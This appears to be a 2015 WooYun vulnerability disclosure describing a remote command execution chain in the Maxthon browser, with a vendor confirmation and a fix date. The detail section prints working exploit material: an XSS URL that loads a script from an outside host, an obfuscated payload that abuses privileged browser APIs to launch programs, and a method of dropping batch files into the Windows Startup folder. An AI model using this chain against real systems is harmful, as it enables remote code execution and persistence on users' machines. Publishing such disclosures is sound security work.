当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089801

漏洞标题:傲游浏览器远程命令执行漏洞(Web端+客户端配合利用技巧)

相关厂商:傲游

漏洞作者: Lyleaks

提交时间:2015-01-06 10:57

修复时间:2015-04-06 10:58

公开时间:2015-04-06 10:58

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向第三方安全合作伙伴开放
2015-03-02: 细节向核心白帽子及相关领域专家公开
2015-03-12: 细节向普通白帽子公开
2015-03-22: 细节向实习白帽子公开
2015-04-06: 细节向公众公开

简要描述:

元旦放假没事做,下了个傲游浏览器来测试。

详细说明:

测试的时候发现,傲游浏览器的设置页 mx://res/options/index.htm 添加主页的地方没有对网址进行过滤,导致xss代码被执行。

2.jpg


这样就有了一个特权域的xss。
所以只要给浏览器添加一个带有xss代码的主页,然后把浏览器的首页改为浏览器的设置页 mx://res/options/index.htm,之后只要打开浏览器,xss代码就能被执行。
这些都可以通过浏览器提供的api做到,而*.maxthon.cn可以调用这些api,所以只要
找到*.maxthon.cn下的一个xss就行了,我随便找了个。

http://sns.web.maxthon.cn/browser/index.php?session_id=1"><script src=http://utf7.ml/t/maxthon1.js></script>


访问上面的url会调用http://utf7.ml/t/maxthon1.js,js的代码如下

//添加一个带有xss代码的主页
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.multihomepage", '["><img src=1 onerror=eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,115,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,115,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,115,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,99,97,108,99,46,101,120,101,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));//"]');
//将浏览器的首页改为mx://res/options/index.htm
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "mx://res/options/index.htm");


3.jpg


执行该js之后,xss代码就被插入 mx://res/options/index.htm 中,当下一次启动浏览器的时候,
xss代码就会被执行。
因为mx://res/options/index.htm不能调用maxthon.program这个api,所以该xss代码
通过iframe嵌入 mx://res/notification/ 来调用这个api执行程序。
可以看到,下一次启动浏览器的时候,成功的弹出了计算器。

5.jpg


要想执行我们自己的命令,傲游浏览器有两个api。maxthon.program可以执行指定路径的程序,可以通过 mx://res/notification/ 调用。maxthon.io可以对文件进行操作,可以通过 mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm 调用。

6.jpg


所以可以用maxthon.io写入文件再用maxthon.program执行。
用maxthon.io向D盘写入一个 test.bat 然后再用maxthon.program执行。如图,test.bat的内容为cmd /k dir。

11.jpg


也可以用二哥的方法 WooYun: 傲游浏览器远程命令执行漏洞二
通过external.mxCall将远程文件下载到临时目录,再通过maxthon.system.Environment.getFolderPath获取临时目录的路径,最后用maxthon.program执行。
或者通过 iframe嵌入 mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm
调用maxthon.io写入一个批处理到
C:/Documents and Settings/All Users/「开始」菜单/程序/启动/ (windows7)
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/ (windows8)
这样下一次开机时,批处理就会被执行。如 WooYun: 傲游云浏览器远程命令执行漏洞

漏洞证明:

5.jpg


测试版本

8.jpg


修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-06 12:45

厂商回复:

里面有几个漏洞综合构成的.

最新状态:

2015-01-23:sns.web.maxthon.cn 的 XSS已修复设置中心漏洞已修复